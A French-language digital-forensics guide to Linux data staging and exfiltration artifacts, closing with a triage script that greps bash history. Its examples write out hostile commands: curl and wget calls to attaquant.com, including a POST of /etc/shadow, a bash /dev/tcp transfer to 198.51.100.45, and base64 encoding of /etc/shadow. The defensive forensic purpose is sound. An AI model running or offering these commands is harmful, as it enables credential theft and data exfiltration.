Aller au contenu

Analyse d'Artefact : Exfiltration et Préparation de Données Linux

Avant d’exfiltrer des centaines de gigaoctets de bases de données ou de code source, les adversaires doivent agréger et compresser les données pour réduire le temps de transfert et échapper aux signatures basiques de prévention des pertes de données (DLP) réseau. Cette phase est connue sous le nom de “staging”.

Les attaquants créent de massifs fichiers d’archives contenant les répertoires cibles (/var/www/html, /home, dumps de bases de données).

  • Artefact comportemental : tar -czvf /tmp/backup.tar.gz /var/www/html
  • Chiffrement : les acteurs avancés chiffreront l’archive pour aveugler l’inspection réseau : zip -r -e password /dev/shm/secret.zip /home/user
  • Chasse forensique : les analystes doivent scanner les répertoires de staging (/tmp, /var/tmp, /dev/shm) à la recherche de fichiers inhabituellement volumineux (.tar, .gz, .zip, .7z) ou de fichiers avec des extensions suspectes et aléatoires.

Pour contourner les filtres basiques de correspondance de chaînes ou pour exfiltrer des données binaires sur des canaux purement textuels (comme le DNS), les attaquants encodent souvent les fichiers sensibles.

  • Artefact comportemental : cat /etc/shadow | base64 > /tmp/shadow.b64

Une fois les données préparées, ou lorsque l’attaquant a besoin de télécharger des outils secondaires (mouvement entrant), il s’appuie sur des binaires réseau natifs.

Clients Web (curl, wget)

les vecteurs les plus courants. Téléchargement : wget http://attaquant.com/linpeas.sh -O /tmp/check.sh Exfiltration : les attaquants peuvent exfiltrer des fichiers directement via des requêtes HTTP POST : curl -F "data=@/etc/shadow" http://attaquant.com/upload.php

Outils SSH (scp, rsync, sftp)

si l’attaquant contrôle une machine distante via SSH, il utilisera des canaux chiffrés. ce trafic est invisible pour les proxys réseau. les analystes doivent se fier entièrement à l’historique Bash ou aux connexions sortantes de auth.log pour détecter cela.

Si un serveur a été purgé de nc (netcat), curl ou wget pour des raisons de sécurité, les attaquants peuvent utiliser une fonctionnalité intégrée du shell Bash pour ouvrir directement des sockets réseau.

  • L’attaque : cat /tmp/secrets.tar.gz > /dev/tcp/198.51.100.45/4444
  • Défi forensique : c’est une technique hautement furtive. elle ne génère pas de nouveau processus enfant (contrairement à l’exécution de nc), ce qui signifie qu’elle peut contourner la surveillance standard des processus. tout est géré en interne par le processus bash existant.

Si les ports sortants standards sont fortement filtrés par le pare-feu de l’entreprise, les adversaires s’adaptent en utilisant des canaux alternatifs.

Dans les campagnes modernes de ransomware et d’extorsion ciblant les serveurs de fichiers Linux, rclone est devenu le standard de l’industrie pour les attaquants. ils téléchargent le binaire autonome dans /tmp et le configurent pour synchroniser les données de la victime directement vers un stockage cloud contrôlé par l’attaquant (Mega, Google Drive, AWS S3).

  • Action DFIR : recherchez des fichiers de configuration rclone (rclone.conf) ou le binaire orphelin dans les répertoires temporaires.

B. Détournement de la racine Web (WebRoot Hijacking)

Section intitulée « B. Détournement de la racine Web (WebRoot Hijacking) »

Si la machine compromise est un serveur web, les attaquants évitent souvent complètement les connexions sortantes. ils placent simplement les données préparées à l’intérieur du répertoire public du serveur web (ex: mv /tmp/dump.sql /var/www/html/assets/logo.zip) et les téléchargent directement via leur navigateur web par des requêtes HTTP GET standards.

  • Action DFIR : analysez le journal access.log du serveur web à la recherche de téléchargements réussis (HTTP 200) de fichiers inhabituellement volumineux ou d’extensions étranges depuis la racine web.

Lors de l’analyse d’une image forensique montée (ex: dans /mnt/analyse/), appliquez la méthodologie de triage suivante.

hunt_staging_artifacts.sh
#!/bin/bash
TARGET_DIR="/mnt/analyse"
echo "[+] Chasse aux fichiers volumineux (Staging potentiel > 50MB) dans les dossiers temp..."
find $TARGET_DIR/tmp $TARGET_DIR/var/tmp $TARGET_DIR/dev/shm -type f -size +50M -ls
echo "[+] Chasse aux binaires orphelins rclone ou de tunneling..."
find $TARGET_DIR/tmp $TARGET_DIR/var/tmp -type f -name "rclone*" -o -name "ngrok*" -o -name "chisel*" -ls
echo "[+] Scan de l'historique bash pour les LOLBAS dexfiltration..."
grep -E "curl.*-F|wget.*--post-file|/dev/tcp/|tar.*-czvf|base64" $TARGET_DIR/home/*/.bash_history $TARGET_DIR/root/.bash_history